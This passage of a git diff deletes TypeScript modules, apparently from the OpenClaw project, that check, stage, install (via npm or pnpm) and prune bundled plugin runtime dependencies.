resolveDependencySentinelAbsolutePath(rootDir, depName); - const parsed = JSON.parse(fs.readFileSync(packageJsonPath, "utf8")) as unknown; - if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { - return null; - } - return { packageDir: path.dirname(packageJsonPath), packageJson: parsed as JsonObject }; - } catch { - return null; - } -} - -function hasRuntimeDepEntryFile(packageDir: string, rawEntry: string): boolean { - const entry = rawEntry.trim(); - if (entry === "") { - return true; - } - const entryPath = path.resolve(packageDir, entry); - if (entryPath !== packageDir && !entryPath.startsWith(`${packageDir}${path.sep}`)) { - return false; - } - try { - const stat = fs.statSync(entryPath); - if (stat.isFile()) { - return true; - } - if (!stat.isDirectory()) { - return false; - } - } catch { - // Missing or unreadable entry paths can still be satisfied by extension - // fallbacks below; otherwise the dependency is treated as incomplete. - } - return ( - fs.existsSync(`${entryPath}.js`) || - fs.existsSync(`${entryPath}.json`) || - fs.existsSync(`${entryPath}.node`) || - fs.existsSync(path.join(entryPath, "index.js")) || - fs.existsSync(path.join(entryPath, "index.json")) || - fs.existsSync(path.join(entryPath, "index.node")) - ); -} - -function isJsonObject(value: unknown): value is JsonObject { - return Boolean(value && typeof value === "object" && !Array.isArray(value)); -} - -function isRuntimeDepRuntimeExportTarget(value: string): boolean { - const target = value.trim(); - if (!target.startsWith("./")) { - return false; - } - const normalizedTarget = target.slice("./".length); - return ( - normalizedTarget !== "package.json" && - !normalizedTarget.endsWith(".d.ts") && - !normalizedTarget.endsWith(".d.mts") && - !normalizedTarget.endsWith(".d.cts") && - !normalizedTarget.endsWith(".d.ts.map") && - !normalizedTarget.endsWith(".d.mts.map") && - !normalizedTarget.endsWith(".d.cts.map") - ); -} - -function collectRuntimeDepExportTargets(rawExports: unknown): string[] { - const targets = new Set(); - const queue: unknown[] = [rawExports]; - while (queue.length > 0) { - const value = queue.shift(); - if (typeof value === "string") { - const target = value.trim(); - if (isRuntimeDepRuntimeExportTarget(target)) { - targets.add(target); - } - continue; - } - if (Array.isArray(value)) { - queue.push(...value); - continue; - } - if (isJsonObject(value)) { - queue.push(...Object.values(value)); - } - } - return [...targets].toSorted(); -} - -function escapeRegExp(value: string): string { - return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); -} - -function isPathInsideRuntimeDepPackage(packageDir: string, entryPath: string): boolean { - return entryPath === packageDir || entryPath.startsWith(`${packageDir}${path.sep}`); -} - -function hasRuntimeDepExportPatternFile(packageDir: string, rawTarget: string): boolean { - const target = rawTarget.trim(); - const packageRelativeTarget = target.slice("./".length); - const firstWildcardIndex = packageRelativeTarget.indexOf("*"); - if (firstWildcardIndex === -1) { - return hasRuntimeDepEntryFile(packageDir, target); - } - - const fixedPrefix = packageRelativeTarget.slice(0, firstWildcardIndex); - const searchRelativeDir = fixedPrefix.endsWith("/") - ? fixedPrefix - : path.posix.dirname(fixedPrefix); - const searchDir = path.resolve( - packageDir, - ...(searchRelativeDir === "." ? [] : searchRelativeDir.split("/")), - ); - if (!isPathInsideRuntimeDepPackage(packageDir, searchDir)) { - return false; - } - - const pattern = new RegExp(`^${packageRelativeTarget.split("*").map(escapeRegExp).join(".*")}$`); - const pending = [searchDir]; - while (pending.length > 0) { - const currentDir = pending.pop(); - if (!currentDir) { - continue; - } - let entries: fs.Dirent[]; - try { - entries = fs.readdirSync(currentDir, { withFileTypes: true }); - } catch { - continue; - } - for (const entry of entries) { - const entryPath = path.join(currentDir, entry.name); - if (!isPathInsideRuntimeDepPackage(packageDir, entryPath)) { - continue; - } - if (entry.isDirectory()) { - pending.push(entryPath); - continue; - } - if (!entry.isFile()) { - continue; - } - const relativePath = path.relative(packageDir, entryPath).split(path.sep).join("/"); - if (pattern.test(relativePath)) { - return true; - } - } - } - return false; -} - -function hasInstalledRuntimeDepExportFiles(packageDir: string, rawExports: unknown): boolean { - const targets = collectRuntimeDepExportTargets(rawExports); - if (targets.length === 0) { - return hasRuntimeDepEntryFile(packageDir, "index"); - } - return targets.some((target) => hasRuntimeDepExportPatternFile(packageDir, target)); -} - -function hasInstalledRuntimeDepEntryFiles(packageDir: string, packageJson: JsonObject): boolean { - if (hasInstalledRuntimeDepBinFiles(packageDir, packageJson.bin)) { - return true; - } - if (packageJson.exports !== undefined) { - return hasInstalledRuntimeDepExportFiles(packageDir, packageJson.exports); - } - const main = packageJson.main; - if (typeof main === "string") { - return hasRuntimeDepEntryFile(packageDir, main); - } - return hasRuntimeDepEntryFile(packageDir, "index"); -} - -function collectRuntimeDepBinTargets(rawBin: unknown): string[] { - if (typeof rawBin === "string" && rawBin.trim() !== "") { - return [rawBin]; - } - if (!isJsonObject(rawBin)) { - return []; - } - return Object.values(rawBin).filter( - (value): value is string => typeof value === "string" && value.trim() !== "", - ); -} - -function hasInstalledRuntimeDepBinFiles(packageDir: string, rawBin: unknown): boolean { - const targets = collectRuntimeDepBinTargets(rawBin); - return targets.some((target) => hasRuntimeDepEntryFile(packageDir, target)); -} - -function isRuntimeDepSatisfied(rootDir: string, dep: { name: string; version: string }): boolean { - const installed = readInstalledRuntimeDepPackage(rootDir, dep.name); - if (!installed) { - return false; - } - const version = installed.packageJson.version; - return Boolean( - typeof version === "string" && - version.trim() && - satisfies(version.trim(), dep.version) && - hasInstalledRuntimeDepEntryFiles(installed.packageDir, installed.packageJson), - ); -} - -export function isRuntimeDepSatisfiedInAnyRoot( - dep: { name: string; version: string }, - roots: readonly string[], -): boolean { - return roots.some((root) => isRuntimeDepSatisfied(root, dep)); -} - -function hasSatisfiedInstallSpecPackages(rootDir: string, specs: readonly string[]): boolean { - return specs - .map(parseInstallableRuntimeDepSpec) - .every((dep) => isRuntimeDepSatisfied(rootDir, dep)); -} - -export function isRuntimeDepsPlanMaterialized( - installRoot: string, - installSpecs: readonly string[], -): boolean { - const generatedManifestSpecs = readGeneratedInstallManifestSpecs(installRoot); - const packageManifestSpecs = - generatedManifestSpecs !== null ? null : readPackageRuntimeDepSpecs(installRoot); - return ( - ((generatedManifestSpecs !== null && - runtimeDepSpecsIncludeAll(generatedManifestSpecs, installSpecs)) || - (packageManifestSpecs !== null && - runtimeDepSpecsIncludeAll(packageManifestSpecs, installSpecs))) && - hasSatisfiedInstallSpecPackages(installRoot, installSpecs) - ); -} - -export function assertBundledRuntimeDepsInstalled(rootDir: string, specs: readonly string[]): void { - const missingSpecs = specs.filter((spec) => { - const dep = parseInstallableRuntimeDepSpec(spec); - return !isRuntimeDepSatisfied(rootDir, dep); - }); - if (missingSpecs.length === 0) { - return; - } - throw new Error( - `package manager install did not place bundled runtime deps in ${rootDir}: ${missingSpecs.join(", ")}`, - ); -} - -export function removeLegacyRuntimeDepsManifest(installRoot: string): void { - fs.rmSync(path.join(installRoot, LEGACY_RETAINED_RUNTIME_DEPS_MANIFEST), { - force: true, - }); -} - -export function removeRuntimeDepsNodeModulesSymlink(installRoot: string): boolean { - const nodeModulesPath = path.join(installRoot, "node_modules"); - try { - if (!fs.lstatSync(nodeModulesPath).isSymbolicLink()) { - return false; - } - } catch (error) { - if ((error as NodeJS.ErrnoException).code === "ENOENT") { - return false; - } - throw error; - } - fs.unlinkSync(nodeModulesPath); - return true; -} - -export function linkRuntimeDepsNodeModulesFromRoot(params: { - sourceRoot: string; - targetRoot: string; -}): boolean { - const sourceNodeModules = path.join(params.sourceRoot, "node_modules"); - const targetNodeModules = path.join(params.targetRoot, "node_modules"); - if (path.resolve(sourceNodeModules) === path.resolve(targetNodeModules)) { - return true; - } - let sourceStat: fs.Stats; - try { - sourceStat = fs.lstatSync(sourceNodeModules); - } catch { - return false; - } - if (!sourceStat.isDirectory() || sourceStat.isSymbolicLink()) { - return false; - } - try { - fs.lstatSync(targetNodeModules); - return false; - } catch (error) { - if ((error as NodeJS.ErrnoException).code !== "ENOENT") { - throw error; - } - } - fs.mkdirSync(params.targetRoot, { recursive: true }); - const linkType = process.platform === "win32" ? "junction" : "dir"; - fs.symlinkSync(sourceNodeModules, targetNodeModules, linkType); - return true; -} - -function createNpmInstallExecutionManifest(installSpecs: readonly string[]): JsonObject { - const dependencies: Record = {}; - for (const spec of installSpecs) { - const dep = parseInstallableRuntimeDepSpec(spec); - dependencies[dep.name] = dep.version; - } - const sortedDependencies = Object.fromEntries( - Object.entries(dependencies).toSorted(([left], [right]) => left.localeCompare(right)), - ); - return { - name: "openclaw-runtime-deps-install", - private: true, - dependencies: sortedDependencies, - }; -} - -export function ensureNpmInstallExecutionManifest( - installExecutionRoot: string, - installSpecs: readonly string[] = [], -): void { - const manifestPath = path.join(installExecutionRoot, "package.json"); - const manifest = createNpmInstallExecutionManifest(installSpecs); - const nextContents = `${JSON.stringify(manifest, null, 2)}\n`; - if (fs.existsSync(manifestPath) && fs.readFileSync(manifestPath, "utf8") === nextContents) { - return; - } - fs.writeFileSync(manifestPath, nextContents, "utf8"); -} diff --git a/src/plugins/bundled-runtime-deps-package-manager.ts b/src/plugins/bundled-runtime-deps-package-manager.ts deleted file mode 100644 index ecc9c99c033..00000000000 --- a/src/plugins/bundled-runtime-deps-package-manager.ts +++ /dev/null @@ -1,175 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { - createSafeNpmInstallArgs, - createSafeNpmInstallEnv, -} from "../infra/safe-package-install.js"; - -export type BundledRuntimeDepsNpmRunner = { - command: string; - args: string[]; - env?: NodeJS.ProcessEnv; -}; - -export type BundledRuntimeDepsPackageManager = "pnpm" | "npm"; - -export type BundledRuntimeDepsPackageManagerRunner = BundledRuntimeDepsNpmRunner & { - packageManager: BundledRuntimeDepsPackageManager; -}; - -const NPM_EXECPATH_ENV_KEY = "npm_execpath"; - -export function createBundledRuntimeDepsInstallEnv( - env: NodeJS.ProcessEnv, - options: { cacheDir?: string } = {}, -): NodeJS.ProcessEnv { - const nextEnv: NodeJS.ProcessEnv = { - ...createSafeNpmInstallEnv(env, { - ...options, - ignoreWorkspaces: true, - legacyPeerDeps: true, - packageLock: true, - }), - npm_config_audit: "false", - npm_config_fund: "false", - }; - for (const key of Object.keys(nextEnv)) { - if (key.toLowerCase() === NPM_EXECPATH_ENV_KEY) { - delete nextEnv[key]; - } - } - return nextEnv; -} - -export function createBundledRuntimeDepsInstallArgs(): string[] { - return createSafeNpmInstallArgs({ - ignoreWorkspaces: true, - noAudit: true, - noFund: true, - omitDev: true, - }); -} - -function createBundledRuntimeDepsPnpmInstallArgs(params: { storeDir: string }): string[] { - return [ - "install", - "--prod", - "--ignore-scripts", - "--ignore-workspace", - "--config.frozen-lockfile=false", - "--config.minimum-release-age=0", - `--config.store-dir=${params.storeDir}`, - "--config.node-linker=hoisted", - "--config.virtual-store-dir=.pnpm", - ]; -} - -export function resolveBundledRuntimeDepsNpmRunner(params: { - npmArgs: string[]; - env?: NodeJS.ProcessEnv; - execPath?: string; - existsSync?: typeof fs.existsSync; - platform?: NodeJS.Platform; -}): BundledRuntimeDepsNpmRunner { - const execPath = params.execPath ?? process.execPath; - const existsSync = params.existsSync ?? fs.existsSync; - const platform = params.platform ?? process.platform; - const pathImpl = platform === "win32" ? path.win32 : path.posix; - const nodeDir = pathImpl.dirname(execPath); - - const npmCliCandidates = [ - pathImpl.resolve(nodeDir, "../lib/node_modules/npm/bin/npm-cli.js"), - pathImpl.resolve(nodeDir, "node_modules/npm/bin/npm-cli.js"), - ]; - const npmCliPath = npmCliCandidates.find( - (candidate) => pathImpl.isAbsolute(candidate) && existsSync(candidate), - ); - if (npmCliPath) { - return { - command: execPath, - args: [npmCliPath, ...params.npmArgs], - }; - } - - if (platform === "win32") { - const npmExePath = pathImpl.resolve(nodeDir, "npm.exe"); - if (existsSync(npmExePath)) { - return { - command: npmExePath, - args: params.npmArgs, - }; - } - throw new Error("Unable to resolve a safe npm executable on Windows"); - } - - const npmExePath = pathImpl.resolve(nodeDir, "npm"); - if (existsSync(npmExePath)) { - return { - command: npmExePath, - args: params.npmArgs, - }; - } - - throw new Error("Unable to resolve a safe npm executable"); -} - -function pathEntries(env: NodeJS.ProcessEnv, platform: NodeJS.Platform): string[] { - const pathKey = Object.keys(env).find((key) => key.toLowerCase() === "path") ?? "PATH"; - return (env[pathKey] ?? "") - .split(platform === "win32" ? ";" : path.delimiter) - .map((entry) => entry.trim()) - .filter((entry) => entry.length > 0); -} - -export function resolveBundledRuntimeDepsPnpmRunner(params: { - pnpmArgs: string[]; - env?: NodeJS.ProcessEnv; - execPath?: string; - existsSync?: typeof fs.existsSync; - platform?: NodeJS.Platform; -}): BundledRuntimeDepsPackageManagerRunner | null { - const env = params.env ?? process.env; - const execPath = params.execPath ?? process.execPath; - const existsSync = params.existsSync ?? fs.existsSync; - const platform = params.platform ?? process.platform; - const pathImpl = platform === "win32" ? path.win32 : path.posix; - const nodeDir = pathImpl.dirname(execPath); - const names = platform === "win32" ? ["pnpm.exe"] : ["pnpm"]; - const candidateDirs = [nodeDir, ...pathEntries(env, platform)]; - for (const dir of candidateDirs) { - for (const name of names) { - const candidate = pathImpl.resolve(dir, name); - if (pathImpl.isAbsolute(candidate) && existsSync(candidate)) { - return { - packageManager: "pnpm", - command: candidate, - args: params.pnpmArgs, - }; - } - } - } - return null; -} - -export function resolveBundledRuntimeDepsPackageManagerRunner(params: { - installExecutionRoot: string; - env: NodeJS.ProcessEnv; - npmArgs: string[]; -}): BundledRuntimeDepsPackageManagerRunner { - const pnpmRunner = resolveBundledRuntimeDepsPnpmRunner({ - env: params.env, - pnpmArgs: createBundledRuntimeDepsPnpmInstallArgs({ - storeDir: path.join(params.installExecutionRoot, ".openclaw-pnpm-store"), - }), - }); - if (pnpmRunner) { - return pnpmRunner; - } - return { - packageManager: "npm", - ...resolveBundledRuntimeDepsNpmRunner({ - env: params.env, - npmArgs: params.npmArgs, - }), - }; -} diff --git a/src/plugins/bundled-runtime-deps-roots.ts b/src/plugins/bundled-runtime-deps-roots.ts deleted file mode 100644 index e71ddf820aa..00000000000 --- a/src/plugins/bundled-runtime-deps-roots.ts +++ /dev/null @@ -1,475 +0,0 @@ -import { createHash } from "node:crypto"; -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { resolveStateDir } from "../config/paths.js"; -import { resolveHomeRelativePath } from "../infra/home-dir.js"; -import { readRuntimeDepsJsonObject } from "./bundled-runtime-deps-json.js"; -import { - BUNDLED_RUNTIME_DEPS_LOCK_DIR, - removeRuntimeDepsLockIfStale, -} from "./bundled-runtime-deps-lock.js"; - -const DEFAULT_UNKNOWN_RUNTIME_DEPS_ROOTS_TO_KEEP = 20; -const DEFAULT_UNKNOWN_RUNTIME_DEPS_MIN_AGE_MS = 10 * 60_000; -const PACKAGE_KEY_PATH_HASH_RE = /^openclaw-.+-([0-9a-f]{12})$/u; -const LEGACY_VERSIONED_RUNTIME_DEPS_ROOT_RE = - /^openclaw-\d{4}\.\d+\.\d+(?:-[0-9A-Za-z.]+)*-[A-Za-z][A-Za-z0-9_-]*$/u; - -export type BundledRuntimeDepsInstallRootPlan = { - installRoot: string; - external: boolean; - searchRoots: string[]; -}; - -export function isSourceCheckoutRoot(packageRoot: string): boolean { - return ( - (fs.existsSync(path.join(packageRoot, ".git")) || - fs.existsSync(path.join(packageRoot, "pnpm-workspace.yaml"))) && - fs.existsSync(path.join(packageRoot, "src")) && - fs.existsSync(path.join(packageRoot, "extensions")) - ); -} - -function resolveBundledPluginPackageRoot(pluginRoot: string): string | null { - const extensionsDir = path.dirname(path.resolve(pluginRoot)); - const buildDir = path.dirname(extensionsDir); - if ( - path.basename(extensionsDir) !== "extensions" || - (path.basename(buildDir) !== "dist" && path.basename(buildDir) !== "dist-runtime") - ) { - return null; - } - return path.dirname(buildDir); -} - -export function resolveBundledRuntimeDependencyPackageRoot(pluginRoot: string): string | null { - return resolveBundledPluginPackageRoot(pluginRoot); -} - -function isPackagedBundledPluginRoot(pluginRoot: string): boolean { - const packageRoot = resolveBundledPluginPackageRoot(pluginRoot); - return Boolean(packageRoot && !isSourceCheckoutRoot(packageRoot)); -} - -function createPathHash(value: string): string { - // Hash the OS-canonical (realpath) form so symlinked / junctioned - // packageRoots converge on a single staging directory across call sites. - return createHash("sha256").update(realpathOrResolve(value)).digest("hex").slice(0, 12); -} - -function sanitizePathSegment(value: string): string { - return value.replace(/[^A-Za-z0-9._-]+/g, "-").replace(/^-+|-+$/g, "") || "unknown"; -} - -function readPackageVersion(packageRoot: string): string { - const parsed = readRuntimeDepsJsonObject(path.join(packageRoot, "package.json")); - const version = parsed && typeof parsed.version === "string" ? parsed.version.trim() : ""; - return version || "unknown"; -} - -export function isWritableDirectory(dir: string): boolean { - let probeDir: string | null = null; - try { - probeDir = fs.mkdtempSync(path.join(dir, ".openclaw-write-probe-")); - fs.writeFileSync(path.join(probeDir, "probe"), "", "utf8"); - return true; - } catch { - return false; - } finally { - if (probeDir) { - try { - fs.rmSync(probeDir, { recursive: true, force: true }); - } catch { - // Best-effort cleanup. A failed cleanup should not turn a writable - // probe into a hard runtime-dependency failure. - } - } - } -} - -function resolveSystemdStateDirectory(env: NodeJS.ProcessEnv): string | null { - const raw = env.STATE_DIRECTORY?.trim(); - if (!raw) { - return null; - } - const first = raw.split(path.delimiter).find((entry) => entry.trim().length > 0); - return first ? path.resolve(first) : null; -} - -function resolveBundledRuntimeDepsExternalBaseDirs(env: NodeJS.ProcessEnv): string[] { - const explicit = env.OPENCLAW_PLUGIN_STAGE_DIR?.trim(); - if (explicit) { - const roots = explicit - .split(path.delimiter) - .map((entry) => entry.trim()) - .filter((entry) => entry.length > 0) - .map((entry) => path.resolve(resolveHomeRelativePath(entry, { env, homedir: os.homedir }))); - if (roots.length > 0) { - const uniqueRoots: string[] = []; - for (const root of roots) { - const existingIndex = uniqueRoots.findIndex( - (entry) => path.resolve(entry) === path.resolve(root), - ); - if (existingIndex >= 0) { - uniqueRoots.splice(existingIndex, 1); - } - uniqueRoots.push(root); - } - return uniqueRoots; - } - } - const systemdStateDir = resolveSystemdStateDirectory(env); - if (systemdStateDir) { - return [path.join(systemdStateDir, "plugin-runtime-deps")]; - } - return [path.join(resolveStateDir(env, os.homedir), "plugin-runtime-deps")]; -} - -export function pruneUnknownBundledRuntimeDepsRoots( - params: { - env?: NodeJS.ProcessEnv; - nowMs?: number; - maxRootsToKeep?: number; - minAgeMs?: number; - warn?: (message: string) => void; - } = {}, -): { scanned: number; removed: number; skippedLocked: number } { - const env = params.env ?? process.env; - const nowMs = params.nowMs ?? Date.now(); - const maxRootsToKeep = Math.max( - 0, - params.maxRootsToKeep ?? DEFAULT_UNKNOWN_RUNTIME_DEPS_ROOTS_TO_KEEP, - ); - const minAgeMs = Math.max(0, params.minAgeMs ?? DEFAULT_UNKNOWN_RUNTIME_DEPS_MIN_AGE_MS); - let scanned = 0; - let removed = 0; - let skippedLocked = 0; - const removeRoot = (root: string): void => { - const lockDir = path.join(root, BUNDLED_RUNTIME_DEPS_LOCK_DIR); - if (fs.existsSync(lockDir) && !removeRuntimeDepsLockIfStale(lockDir, nowMs)) { - skippedLocked += 1; - return; - } - try { - fs.rmSync(root, { recursive: true, force: true }); - removed += 1; - } catch (error) { - params.warn?.(`failed to remove stale bundled runtime deps root ${root}: ${String(error)}`); - } - }; - - for (const baseDir of resolveBundledRuntimeDepsExternalBaseDirs(env)) { - let entries: fs.Dirent[]; - try { - entries = fs.readdirSync(baseDir, { withFileTypes: true }); - } catch { - continue; - } - const unknownRoots = entries - .filter((entry) => entry.isDirectory() && entry.name.startsWith("openclaw-unknown-")) - .map((entry) => { - const root = path.join(baseDir, entry.name); - try { - return { root, mtimeMs: fs.statSync(root).mtimeMs }; - } catch { - return null; - } - }) - .filter((entry): entry is { root: string; mtimeMs: number } => entry !== null) - .toSorted((left, right) => right.mtimeMs - left.mtimeMs); - const legacyVersionedRoots = entries - .filter( - (entry) => entry.isDirectory() && isLegacyVersionedBundledRuntimeDepsRootName(entry.name), - ) - .map((entry) => path.join(baseDir, entry.name)) - .toSorted((left, right) => left.localeCompare(right)); - scanned += unknownRoots.length; - scanned += legacyVersionedRoots.length; - - for (const [index, entry] of unknownRoots.entries()) { - const ageMs = nowMs - entry.mtimeMs; - if (index < maxRootsToKeep && ageMs < minAgeMs) { - continue; - } - removeRoot(entry.root); - } - - for (const root of legacyVersionedRoots) { - removeRoot(root); - } - } - - return { scanned, removed, skippedLocked }; -} - -function isLegacyVersionedBundledRuntimeDepsRootName(name: string): boolean { - return ( - name.startsWith("openclaw-") && - readPackageKeyPathHash(name) === null && - LEGACY_VERSIONED_RUNTIME_DEPS_ROOT_RE.test(name) - ); -} - -export function listSiblingExternalBundledRuntimeDepsRoots(params: { - installRoot: string; - env?: NodeJS.ProcessEnv; -}): string[] { - const env = params.env ?? process.env; - const installRoot = path.resolve(params.installRoot); - const installRootHash = readPackageKeyPathHash(path.basename(installRoot)); - if (!installRootHash) { - return []; - } - const candidateParents = resolveBundledRuntimeDepsExternalBaseDirs(env); - const seenParents = new Set(); - const candidates: { root: string; mtimeMs: number; name: string }[] = []; - - for (const parentDir of candidateParents) { - const resolvedParent = path.resolve(parentDir); - if (seenParents.has(resolvedParent)) { - continue; - } - seenParents.add(resolvedParent); - let entries: fs.Dirent[]; - try { - entries = fs.readdirSync(parentDir, { withFileTypes: true }); - } catch { - continue; - } - for (const entry of entries) { - if ( - !entry.isDirectory() || - !entry.name.startsWith("openclaw-") || - readPackageKeyPathHash(entry.name) !== installRootHash - ) { - continue; - } - const root = path.join(parentDir, entry.name); - if (path.resolve(root) === installRoot) { - continue; - } - try { - candidates.push({ - root, - mtimeMs: fs.statSync(root).mtimeMs, - name: entry.name, - }); - } catch { - // Ignore roots that disappear while we are scanning for reusable deps. - } - } - } - - return candidates - .toSorted((left, right) => { - const timeOrder = right.mtimeMs - left.mtimeMs; - return timeOrder === 0 ? left.name.localeCompare(right.name) : timeOrder; - }) - .map((entry) => entry.root); -} - -export function pruneSiblingExternalBundledRuntimeDepsRoots(params: { - installRoot: string; - nowMs?: number; - warn?: (message: string) => void; -}): { scanned: number; removed: number; skippedLocked: number } { - const installRoot = path.resolve(params.installRoot); - const installRootHash = readPackageKeyPathHash(path.basename(installRoot)); - if (!installRootHash) { - return { scanned: 0, removed: 0, skippedLocked: 0 }; - } - const parentDir = path.dirname(installRoot); - const nowMs = params.nowMs ?? Date.now(); - let entries: fs.Dirent[]; - try { - entries = fs.readdirSync(parentDir, { withFileTypes: true }); - } catch { - return { scanned: 0, removed: 0, skippedLocked: 0 }; - } - - let scanned = 0; - let removed = 0; - let skippedLocked = 0; - for (const entry of entries) { - if ( - !entry.isDirectory() || - !entry.name.startsWith("openclaw-") || - readPackageKeyPathHash(entry.name) !== installRootHash - ) { - continue; - } - const root = path.join(parentDir, entry.name); - if (path.resolve(root) === installRoot) { - continue; - } - scanned += 1; - const lockDir = path.join(root, BUNDLED_RUNTIME_DEPS_LOCK_DIR); - if (fs.existsSync(lockDir) && !removeRuntimeDepsLockIfStale(lockDir, nowMs)) { - skippedLocked += 1; - continue; - } - try { - fs.rmSync(root, { recursive: true, force: true }); - removed += 1; - } catch (error) { - params.warn?.(`failed to remove sibling bundled runtime deps root ${root}: ${String(error)}`); - } - } - - return { scanned, removed, skippedLocked }; -} - -function readPackageKeyPathHash(packageKey: string): string | null { - return PACKAGE_KEY_PATH_HASH_RE.exec(packageKey)?.[1] ?? null; -} - -function resolveExternalBundledRuntimeDepsInstallRoots(params: { - pluginRoot: string; - env: NodeJS.ProcessEnv; -}): string[] { - const packageRoot = resolveBundledPluginPackageRoot(params.pluginRoot) ?? params.pluginRoot; - const existingExternalRoots = resolveExistingExternalBundledRuntimeDepsRoots({ - packageRoot, - env: params.env, - }); - if (existingExternalRoots) { - return existingExternalRoots; - } - const version = sanitizePathSegment(readPackageVersion(packageRoot)); - const packageKey = `openclaw-${version}-${createPathHash(packageRoot)}`; - return resolveBundledRuntimeDepsExternalBaseDirs(params.env).map((baseDir) => - path.join(baseDir, packageKey), - ); -} - -function resolveExistingExternalBundledRuntimeDepsRoots(params: { - packageRoot: string; - env: NodeJS.ProcessEnv; -}): string[] | null { - const packageRoot = realpathOrResolve(params.packageRoot); - const externalBaseDirs = resolveBundledRuntimeDepsExternalBaseDirs(params.env); - for (const externalBaseDir of externalBaseDirs) { - const relative = path.relative(realpathOrResolve(externalBaseDir), packageRoot); - if (relative === "" || relative.startsWith("..") || path.isAbsolute(relative)) { - continue; - } - const packageKey = relative.split(path.sep)[0]; - if (!packageKey || !packageKey.startsWith("openclaw-")) { - continue; - } - return externalBaseDirs.map((baseDir) => path.join(baseDir, packageKey)); - } - return null; -} - -function realpathOrResolve(targetPath: string): string { - try { - return fs.realpathSync.native(targetPath); - } catch { - return path.resolve(targetPath); - } -} - -function createBundledRuntimeDepsInstallRootPlan(params: { - installRoot: string; - searchRoots: readonly string[]; - external: boolean; -}): BundledRuntimeDepsInstallRootPlan { - const searchRoots: string[] = []; - for (const root of params.searchRoots) { - const resolved = path.resolve(root); - if (!searchRoots.some((entry) => path.resolve(entry) === resolved)) { - searchRoots.push(root); - } - } - if (!searchRoots.some((entry) => path.resolve(entry) === path.resolve(params.installRoot))) { - searchRoots.push(params.installRoot); - } - return { - installRoot: params.installRoot, - searchRoots, - external: params.external, - }; -} - -export function resolveBundledRuntimeDependencyPackageInstallRootPlan( - packageRoot: string, - options: { env?: NodeJS.ProcessEnv; forceExternal?: boolean } = {}, -): BundledRuntimeDepsInstallRootPlan { - const env = options.env ?? process.env; - const externalRoots = resolveExternalBundledRuntimeDepsInstallRoots({ - pluginRoot: path.join(packageRoot, "dist", "extensions", "__package__"), - env, - }); - if ( - options.forceExternal || - env.OPENCLAW_PLUGIN_STAGE_DIR?.trim() || - env.STATE_DIRECTORY?.trim() || - !isSourceCheckoutRoot(packageRoot) - ) { - return createBundledRuntimeDepsInstallRootPlan({ - installRoot: externalRoots.at(-1)!, - searchRoots: externalRoots, - external: true, - }); - } - if (isWritableDirectory(packageRoot)) { - return createBundledRuntimeDepsInstallRootPlan({ - installRoot: packageRoot, - searchRoots: [packageRoot], - external: false, - }); - } - return createBundledRuntimeDepsInstallRootPlan({ - installRoot: externalRoots.at(-1)!, - searchRoots: externalRoots, - external: true, - }); -} - -export function resolveBundledRuntimeDependencyPackageInstallRoot( - packageRoot: string, - options: { env?: NodeJS.ProcessEnv; forceExternal?: boolean } = {}, -): string { - return resolveBundledRuntimeDependencyPackageInstallRootPlan(packageRoot, options).installRoot; -} - -export function resolveBundledRuntimeDependencyInstallRootPlan( - pluginRoot: string, - options: { env?: NodeJS.ProcessEnv; forceExternal?: boolean } = {}, -): BundledRuntimeDepsInstallRootPlan { - const env = options.env ?? process.env; - const externalRoots = resolveExternalBundledRuntimeDepsInstallRoots({ pluginRoot, env }); - if ( - options.forceExternal || - env.OPENCLAW_PLUGIN_STAGE_DIR?.trim() || - env.STATE_DIRECTORY?.trim() || - isPackagedBundledPluginRoot(pluginRoot) - ) { - return createBundledRuntimeDepsInstallRootPlan({ - installRoot: externalRoots.at(-1)!, - searchRoots: externalRoots, - external: true, - }); - } - if (isWritableDirectory(pluginRoot)) { - return createBundledRuntimeDepsInstallRootPlan({ - installRoot: pluginRoot, - searchRoots: [pluginRoot], - external: false, - }); - } - return createBundledRuntimeDepsInstallRootPlan({ - installRoot: externalRoots.at(-1)!, - searchRoots: externalRoots, - external: true, - }); -} - -export function resolveBundledRuntimeDependencyInstallRoot( - pluginRoot: string, - options: { env?: NodeJS.ProcessEnv; forceExternal?: boolean } = {}, -): string { - return resolveBundledRuntimeDependencyInstallRootPlan(pluginRoot, options).installRoot; -} diff --git a/src/plugins/bundled-runtime-deps-selection.ts b/src/plugins/bundled-runtime-deps-selection.ts deleted file mode 100644 index f8f8f1146ac..00000000000 --- a/src/plugins/bundled-runtime-deps-selection.ts +++ /dev/null @@ -1,801 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { splitTrailingAuthProfile } from "../agents/model-ref-profile.js"; -import { normalizeProviderId } from "../agents/provider-id.js"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; -import { readRuntimeDepsJsonObject, type JsonObject } from "./bundled-runtime-deps-json.js"; -import { - collectPackageRuntimeDeps, - normalizeInstallableRuntimeDepName, - parseInstallableRuntimeDep, - parseInstallableRuntimeDepSpec, - type RuntimeDepEntry, -} from "./bundled-runtime-deps-specs.js"; -import { - normalizePluginsConfigWithResolver, - type NormalizedPluginsConfig, - type NormalizePluginId, -} from "./config-normalization-shared.js"; - -const MIRRORED_PACKAGE_RUNTIME_DEP_PLUGIN_ID = "openclaw-core"; - -export type RuntimeDepConflict = { - name: string; - versions: string[]; - pluginIdsByVersion: Map; -}; - -export type BundledPluginRuntimeDepsManifest = { - channels: string[]; - enabledByDefault: boolean; - id?: string; - legacyPluginIds: string[]; - localMemoryEmbeddingRuntimeDeps: RuntimeDepEntry[]; - modelSupport?: BundledPluginRuntimeDepsModelSupport; - providers: string[]; -}; - -export type BundledPluginRuntimeDepsManifestCache = Map; - -type BundledPluginRuntimeDepsModelSupport = { - modelPatterns: string[]; - modelPrefixes: string[]; -}; - -function collectDeclaredMirroredRootRuntimeDepNames(packageJson: JsonObject): string[] { - const openclaw = packageJson.openclaw; - const bundle = - openclaw && typeof openclaw === "object" && !Array.isArray(openclaw) - ? (openclaw as JsonObject).bundle - : undefined; - const rawNames = - bundle && typeof bundle === "object" && !Array.isArray(bundle) - ? (bundle as JsonObject).mirroredRootRuntimeDependencies - : undefined; - if (rawNames === undefined) { - return []; - } - if (!Array.isArray(rawNames)) { - throw new Error("openclaw.bundle.mirroredRootRuntimeDependencies must be an array"); - } - const names = new Set(); - for (const rawName of rawNames) { - if (typeof rawName !== "string") { - throw new 